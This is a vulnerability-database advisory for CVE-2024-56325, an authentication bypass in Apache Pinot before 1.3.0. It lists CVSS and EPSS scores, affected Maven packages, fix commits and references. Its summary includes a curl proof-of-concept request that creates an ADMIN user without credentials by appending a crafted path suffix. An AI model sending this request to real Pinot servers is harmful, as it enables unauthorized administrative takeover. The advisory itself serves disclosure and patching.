CVE-2024-56325 in the critical feed json
Apache Pinot: Authentication bypass issue. If the path does not contain / and contain . authentication is not required
published 2025-04-01 19 mo ago modified 2026-08-31 2 mo ago also EUVD-2025-9317 , GHSA-6jwp-4wvj-6597
- cvss
- 9.8
- version 3.1, CNA
- cisa kev
- Not listed
- not in CISA's catalog
- epss
- 80.2%
- EPSS 80.2% chance of exploitation in 30 days, percentile 99.6%
- public exploits
- 0
- none known, plus a Nuclei check
Summary
Authentication Bypass Issue
If the path does not contain / and contain., authentication is not required.
Expected Normal Request and Response Example
curl -X POST -H "Content-Type: application/json" -d {\"username\":\"hack2\",\"password\":\"hack\",\"component\":\"CONTROLLER\",\"role\":\"ADMIN\",\"tables\":[],\"permissions\":[],\"usernameWithComponent\":\"hack_CONTROLLER\"} http://{server_ip}:9000/users
Return: {"code":401,"error":"HTTP 401 Unauthorized"}
Malicious Request and Response Example
curl -X POST -H "Content-Type: application/json" -d '{\"username\":\"hack\",\"password\":\"hack\",\"component\":\"CONTROLLER\",\"role\":\"ADMIN\",\"tables\":[],\"permissions\":[],\"usernameWithComponent\":\"hack_CONTROLLER\"}' http://{serverip}:9000/users; http://{serverip}:9000/users; .
Return: {"users":{}}
A new user gets added bypassing authentication, enabling the user to control Pinot.
Patch / fix
- maven org.apache.pinot:pinot-broker 1.3.0
- maven org.apache.pinot:pinot-common 1.3.0
- maven org.apache.pinot:pinot-controller 1.3.0
- Apache Software Foundation Apache Pinot 1.3
- github.com/apache/pinot@1b87488 commit
- github.com/apache/pinot@89a22f0 commit
- github.com/apache/pinot#14383 pull request
- github.com/apache/pinot/releases/tag/release-1.3.0 release
CISA SSVC
- Exploitation
- none
- Automatable
- yes
- Technical impact
- total
- Assessed
- 18 mo ago
Exploit prediction
80.21% chance of exploitation in the next 30 days, higher than 99.6% of all scored CVEs (FIRST EPSS, 2026-11-08).
Exploits and checks
- Nuclei template Apache Pinot < 1.3.0 - Authentication Bypass nuclei detection template
CVSS scores
| assigned by | version | score | vector |
|---|---|---|---|
| CISA ADP | 3.1 | 9.8 | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| GitHub | 3.1 | 9.8 | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| CNA | 3.1 | 9.8 | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
Affected packages
| ecosystem | package | affected | fixed in |
|---|---|---|---|
| maven | org.apache.pinot:pinot-broker | >=0.8.0, <1.3.0 |
1.3.0 |
| maven | org.apache.pinot:pinot-common | >=0.8.0, <1.3.0 |
1.3.0 |
| maven | org.apache.pinot:pinot-controller | >=0.8.0, <1.3.0 |
1.3.0 |
Affected products
- Apache Software Foundation Apache Pinot
Classification
- Weakness
-
- CWE-288 Authentication Bypass Using an Alternate Path or Channel
References
-
github.com
/apache/pinot/pull/14383
web
-
github.com
/apache/pinot/commit/1b87488aeaf4836e3ef25b426ebbf1ad5a68e68f
web
-
github.com
/apache/pinot/commit/89a22f097c5ff26396e58950c90d764066a56121
web
-
lists.apache.org
/thread/ksf8qsndr1h66otkbjz2wrzsbw992r8v
vendor-advisory, web, mailing-list
-
openwall.com
/lists/oss-security/2025/03/27/8
web, mailing-list, third-party-advisory
-
nvd.nist.gov
/vuln/detail/CVE-2024-56325
advisory
-
github.com
/apache/pinot
package
-
github.com
/apache/pinot/releases/tag/release-1.3.0
web
Sources
- CVE List CVE-2024-56325
- GitHub Advisory GHSA-6jwp-4wvj-6597
- NVD CVE-2024-56325
Fencer Vulns keeps one entry per vulnerability: the CVE id wins, then GHSA, and records that alias each other are merged, except that two CVEs always keep separate entries. The same data is available as JSON.
CPEs and fixed versions use Anchore's correction of NVD's data: Added CPE configurations because not yet analyzed by NVD.